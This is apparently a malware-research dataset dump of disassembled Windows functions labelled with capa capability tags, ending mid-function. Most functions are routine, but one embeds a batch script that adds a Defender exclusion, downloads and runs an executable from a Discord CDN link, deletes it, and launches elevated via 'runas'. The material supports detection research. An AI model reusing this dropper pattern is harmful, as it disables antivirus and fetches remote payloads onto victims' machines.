joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140014734
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x28
call fcn.140013e8c
add rsp, 0x28
jmp 0x14001474c
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], r12
push r13
sub rsp, 0xb0
xor ebx, ebx
mov dword [rsp + 0x20], ebx
lea rcx, [rax - 0x78]
call qword [sym.imp.KERNEL32.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rdi, qword [rax + 8]
mov r12d, ebx
xor eax, eax
lock cmpxchg qword [0x1400a4e38], rdi
jne 0x140024c8f
mov eax, dword [0x1400a4e30]
cmp eax, 1
je 0x140024caf
mov eax, dword [0x1400a4e30]
cmp eax, ebx
jne 0x140024cc6
mov dword [0x1400a4e30], 1
lea r13, [0x14005ad30]
lea rdi, [0x14005ad18]
mov qword [rsp + 0x30], rdi
mov eax, ebx
mov dword [rsp + 0x24], ebx
cmp rdi, r13
jae 0x1400147f8
cmp eax, ebx
jne 0x1400147f8
mov rcx, qword [rdi]
cmp rcx, rbx
je 0x1400147ed
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x1400147d6
cmp eax, ebx
jne 0x140024cbc
mov eax, dword [0x1400a4e30]
cmp eax, 1
jne 0x140014828
lea rdx, [0x14005ad10]
lea rcx, [0x14005acc8]
call fcn.14013a000
mov dword [0x1400a4e30], 2
cmp r12d, ebx
jne 0x140014837
mov rax, rbx
xchg qword [0x1400a4e38], rax
cmp qword [0x1400a4e50], rbx
jne 0x140024cd5
mov rcx, qword [sym.imp.msvcrt.dll__wcmdln]
cmp qword [rcx], rbx
je 0x140024cfe
mov rcx, qword [rcx]
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
cmp word [rcx], 0x20
jbe 0x14001487b
cmp word [rcx], 0x22
je 0x140024d59
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x140014860
cmp word [rcx], bx
jne 0x140024d08
cmp word [rcx], bx
jne 0x140024d15
test byte [rsp + 0x7c], 1
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.1400148d0
nop
jmp 0x140024d2d
cmp rax, rdi
jne 0x140024c9f
mov r12d, 1
jmp 0x140014796
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140014785
lea ecx, [rax + 0x1e]
call sub.msvcrt.dll__amsg_exit
jmp 0x140014800
mov eax, 0xff
jmp 0x140024d98
mov dword [0x1400a5048], 1
jmp 0x140014800
lea rcx, [0x1400a4e50]
call fcn.14004dd4c
cmp eax, ebx
je 0x140014844
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
call qword [0x1400a4e50]
nop
jmp 0x140014844
mov eax, 0xff
jmp 0x140024d98
cmp edx, ebx
je 0x140014884
jmp 0x140014866
cmp word [rcx], 0x20
ja 0x14001488d
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x140014884
mov dword [0x1400a5044], eax
cmp dword [0x1400a474c], ebx
jne 0x140024d43
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x1400a5048], ebx
jne 0x140024d57
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x1400a5044]
jmp 0x140024d98
mov eax, ebx
cmp edx, ebx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
jmp 0x140014870
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov r12, qword [r11 + 0x20]
mov rsp, r11
pop r13
ret
Function at 0x140001b88
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001bd2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001bd2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001bd2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001bd2
cmp dword [rcx + 0x84], 0xe
jbe 0x140001bd2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001bd4
xor al, al
add rsp, 0x28
ret

Function at 0x141b320b0
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.141b32237
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x141b320e1
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141b320c7
add dl, dl
jne 0x141b320ee
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141b3214e
xor eax, eax
add dl, dl
jne 0x141b320fd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x141b32205
add dl, dl
jne 0x141b3210e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141b3211b
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141b32128
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141b32135
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x141b32142
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x141b320d6
mov eax, 1
add dl, dl
jne 0x141b3215e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x141b3216b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141b32153
sub eax, ebx
mov ebx, 1
jne 0x141b321a4
mov ecx, 1
add dl, dl
jne 0x141b32186
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141b32193
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141b3217b
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141b320d6
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x141b321c0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x141b321cd
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x141b321b5
cmp eax, 0x7d00
jae 0x141b321f3
cmp eax, 0x500
jb 0x141b321ee
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141b320d6
cmp eax, 0x7f
ja 0x141b321f6
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x141b320d6
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x141b3222a
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x141b320d6
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1800112df
Capabilities:
Terminate process

Disassembly:
jmp 0x180017630
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret
Function at 0x180011401
Capabilities:
Create directory
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
jmp 0x180015610
push rbp
push rdi
sub rsp, 0x2a8
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0x6a
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov rax, qword [0x180023040]
xor rax, rbp
mov qword [rbp + 0x250], rax
lea rcx, [0x1800290f4]
call fcn.180011546
nop
lea rdx, str.C:Temp
lea rcx, [rbp + 8]
call fcn.180011235
nop
lea r8, str._temp_script.bat
lea rdx, [rbp + 8]
lea rcx, [rbp + 0x48]
call fcn.18001141f
nop
lea rdx, str._echo_off_nsetlocal_nset__folderPathC:Windows__nset__exclusionPath_folderPath__file.exe__nset__fileUrlhttps:__cdn.discordapp.com_attachments_1290397078995996713_1293302756265693235_hello_world.exe_ex6706e18dis6705900dhmd72ab4952b348fedda872bf53e698611d085ef28d4da318585fb1b2582ebbe39__nmkdir___folderPath___npowershell.exe__Command__Add_MpPreference__ExclusionPath__exclusionPath___npowershell__Command__Invoke_WebRequest__Uri__fileUrl___OutFile__folderPath__file.exe__nstart__wait______folderPath__file.exe__ndel___folderPath__file.exe__npowershell.exe__Command__Remove_MpPreference__ExclusionPath__exclusionPath___nendlocal_nexit__b_n
lea rcx, [rbp + 0x88]
call fcn.180011235
nop
lea rcx, [rbp + 8]
call fcn.180011082
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
nop
lea rcx, [rbp + 0x48]
call fcn.180011082
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rbp + 0xc8], rax
cmp qword [rbp + 0xc8], 0xffffffffffffffff
je 0x18001573e
lea rcx, [rbp + 0x88]
call fcn.1800113ca
mov qword [rbp + 0x238], rax
lea rcx, [rbp + 0x88]
call fcn.180011082
mov qword [rsp + 0x20], 0
lea r9, [rbp + 0xe4]
mov rcx, qword [rbp + 0x238]
mov r8d, ecx
mov rdx, rax
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_WriteFile]
nop
mov rcx, qword [rbp + 0xc8]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
jmp 0x180015764
lea rcx, [rbp + 0x88]
call fcn.1800110f0
nop
lea rcx, [rbp + 0x48]
call fcn.1800110f0
nop
lea rcx, [rbp + 8]
call fcn.1800110f0
nop
jmp 0x180015822
lea r8, [rbp + 0x48]
lea rdx, str._c__
lea rcx, [rbp + 0x1c8]
call fcn.18001103c
mov qword [rbp + 0x238], rax
mov rax, qword [rbp + 0x238]
mov qword [rbp + 0x240], rax
lea r8, [0x18001f5f8]
mov rdx, qword [rbp + 0x240]
lea rcx, [rbp + 0x208]
call fcn.1800114d8
mov qword [rbp + 0x248], rax
mov rcx, qword [rbp + 0x248]
call fcn.180011082
mov dword [rsp + 0x28], 1
mov qword [rsp + 0x20], 0
mov r9, rax
lea r8, str.cmd.exe
lea rdx, str.runas
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
lea rcx, [rbp + 0x208]
call fcn.1800110f0
nop
lea rcx, [rbp + 0x1c8]
call fcn.1800110f0
nop
lea rcx, [rbp + 0x88]
call fcn.1800110f0
nop
lea rcx, [rbp + 0x48]
call fcn.1800110f0
nop
lea rcx, [rbp + 8]
call fcn.1800110f0
nop
lea rcx, [rbp - 0x40]
lea rdx, [0x18001edb0]
call fcn.180011460
mov rcx, qword [rbp + 0x250]
xor rcx, rbp
call fcn.180011276
lea rsp, [rbp + 0x268]
pop rdi
pop rbp
ret
Function at 0x140007010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000705a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000705a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000705a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000705a
cmp dword [rcx + 0x84], 0xe
jbe 0x14000705a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000705c
xor al, al
add rsp, 0x28
ret

Function at 0x14000d084
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000d0f3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000d0f3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000d0f3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000d0f3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000d0f3
cmp dword [rcx + 0x84], 0xe
jbe 0x14000d0f3
cmp dword [rcx + 0xf8], 0
je 0x14000d0f3
mov ecx, ebx
call fcn.14000d1a4
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000cf80
nop
cmp dword [rbp + 0x20], 0
je 0x14000d141
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000d14c
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14000d084

Function at 0x14000d288
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000d084
Function at 0x140012388
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001239e
mov al, 1
jmp 0x1400123fe
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400123af
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x1400123fc
mov ecx, dword [rcx + 0x18]
nop
call fcn.140014ff0
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1400123fc
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x1400123fc
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x1400123fc
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x1400123fe
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1400142bc
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x1400142ec
xor eax, eax
jmp 0x1400143af
mov rbp, rbx
cmp word [rax], si
je 0x140014311
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x1400142f8
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x1400142f4
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.1400141dc
movsxd r14, eax
test eax, eax
jne 0x14001434f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x1400142e5
mov rcx, r14
call fcn.14000f1e8
mov rdi, rax
test rax, rax
jne 0x140014368
xor ecx, ecx
call fcn.14000e8b8
jmp 0x140014344
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.1400141dc
test eax, eax
jne 0x140014399
mov rcx, rdi
call fcn.14000e8b8
jmp 0x1400143a3
xor ecx, ecx
call fcn.14000e8b8
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140017d44
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000c774
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140017dce
cmp byte [rbp - 0x21], r15b
je 0x140017dc9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140017e04
call fcn.14000eb08
test eax, eax
jne 0x140017df0
cmp byte [rbp - 0x21], r15b
je 0x140017de8
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140017e04
cmp byte [rbp - 0x21], r15b
je 0x140017e01
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.140012928
test eax, eax
jne 0x140017ea4
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000c774
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140017e43
cmp byte [rbp - 0x21], r15b
je 0x140017e78
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140017e78
call fcn.14000eb08
test eax, eax
jne 0x140017e64
cmp byte [rbp - 0x21], r15b
je 0x140017e5d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140017e78
cmp byte [rbp - 0x21], r15b
je 0x140017e75
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.140012928
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140017ea4
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140017ea7
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140017eb5
mov rcx, rdi
call fcn.14000e8b8
cmp byte [rbp + 0x3f], r15b
je 0x140017ec4
mov rcx, qword [rbp + 0x27]
call fcn.14000e8b8
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x140019c60
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140019c88
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140019c88
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x1400044b0
Capabilities:
Create process on windows

Disassembly:
sub rsp, 0x208
mov rax, qword [0x140066080]
xor rax, rsp
mov qword [rsp + 0x1f0], rax
xorps xmm0, xmm0
mov dword [rsp + 0x70], 0x68
xor eax, eax
cmp qword [rcx + 0x18], 0xf
movups xmmword [rsp + 0x74], xmm0
mov dword [rsp + 0xd4], eax
movups xmmword [rsp + 0x84], xmm0
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x94], xmm0
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
movups xmmword [rsp + 0xc4], xmm0
movups xmmword [rsp + 0x50], xmm0
jbe 0x14000451e
mov rcx, qword [rcx]
mov r8, rcx
mov edx, 0x104
lea rcx, [rsp + 0xe0]
call fcn.140019368
lea rax, [rsp + 0x50]
xor r9d, r9d
mov qword [rsp + 0x48], rax
lea rdx, [rsp + 0xe0]
lea rax, [rsp + 0x70]
xor r8d, r8d
mov qword [rsp + 0x40], rax
xor ecx, ecx
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x1400045d9
mov qword [rsp + 0x200], rbx
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.CreateProcess_failed__
mov ebx, eax
lea rcx, [0x1400678a0]
call fcn.140008fb0
mov rcx, rax
mov edx, ebx
call fcn.140005f90
mov rcx, rax
lea rdx, [0x140041e7c]
call fcn.140008fb0
mov rcx, rax
call fcn.140009260
mov rbx, qword [rsp + 0x200]
mov rcx, qword [rsp + 0x1f0]
xor rcx, rsp
call fcn.14000dea0
add rsp, 0x208
ret
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x1f0]
xor rcx, rsp
call fcn.14000dea0
add rsp, 0x208
ret
Function at 0x140005360
Capabilities:
Read file on windows

Disassembly:
push rbx
push r14
push r15
sub rsp, 0x30
mov r15, r8
mov r14, rdx
mov rbx, rcx
test r8, r8
jg 0x140005384
xor eax, eax
add rsp, 0x30
pop r15
pop r14
pop rbx
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rdi
je 0x140005412
mov rdi, r15
mov qword [rsp + 0x68], rbp
lea rsi, [rcx + 0x50]
mov rax, qword [rbx + 0x38]
mov rdx, qword [rax]
test rdx, rdx
je 0x1400053e0
mov rax, qword [rsi]
movsxd rcx, dword [rax]
test ecx, ecx
jle 0x1400053e0
cmp rdi, rcx
mov rbp, rdi
cmovge rbp, rcx
mov rcx, r14
mov r8, rbp
call fcn.140033d20
mov rax, qword [rsi]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x1400053fd
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x140005405
mov byte [r14], al
lea rsi, [rbx + 0x50]
dec rdi
mov ebp, 1
add r14, rbp
test rdi, rdi
jg 0x1400053a1
mov rbp, qword [rsp + 0x68]
sub r15, rdi
jmp 0x1400054f0
mov rax, qword [rcx + 0x38]
mov rsi, r15
mov rdx, qword [rax]
test rdx, rdx
je 0x140005429
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x14000542b
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x14000545d
cmp rax, r15
mov rdi, r15
mov rcx, r14
cmovb rdi, rax
mov r8, rdi
call fcn.140033d20
mov rax, qword [rbx + 0x50]
add r14, rdi
sub rsi, rdi
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x1400054ed
mov r8, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r8], rax
jne 0x140005498
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
cmp rsi, 0xfff
jbe 0x1400054ce
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, r14
call fcn.140019fd8
add r14, rax
sub rsi, rax
cmp rax, 0xfff
jne 0x1400054ed
cmp rsi, rax
ja 0x1400054a1
test rsi, rsi
je 0x1400054ed
mov r9, qword [rbx + 0x80]
mov r8, rsi
mov edx, 1
mov rcx, r14
call fcn.140019fd8
sub rsi, rax
sub r15, rsi
mov rsi, qword [rsp + 0x28]
mov rax, r15
mov rdi, qword [rsp + 0x20]
add rsp, 0x30
pop r15
pop r14
pop rbx
ret

Function at 0x14000ed98
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000ede2
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000ede2
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000ede2
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000ede2
cmp dword [rcx + 0x84], 0xe
jbe 0x14000ede2
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14000ede4
xor al, al
add rsp, 0x28
ret
Function at 0x14001d87c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14001d8eb
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14001d8eb
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001d8eb
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001d8eb
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001d8eb
cmp dword [rcx + 0x84], 0xe
jbe 0x14001d8eb
cmp dword [rcx + 0xf8], 0
je 0x14001d8eb
mov ecx, ebx
call fcn.14001d99c
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14001d778
nop
cmp dword [rbp + 0x20], 0
je 0x14001d939
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14001d944
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14001d87c

Function at 0x14001da80
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001d87c

Function at 0x140020618
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14002062e
mov al, 1
jmp 0x14002068e
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x14002063f
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x14002068c
mov ecx, dword [rcx + 0x18]
nop
call fcn.14002b1fc
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14002068c
mov r9d, 1
lea r8, [rsp + 0x38]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x14002068c
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x14002068c
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14002068e
xor al, al
add rsp, 0x20
pop rbx
ret
Function at 0x1400256d0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.14000e4f0
sub rsp, rax
mov rax, qword [0x140066080]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.1400203fc
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x14002571f
mov rax, rbp
jmp 0x140025827
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x140000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0x68750]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1400270f0
mov r13, rax
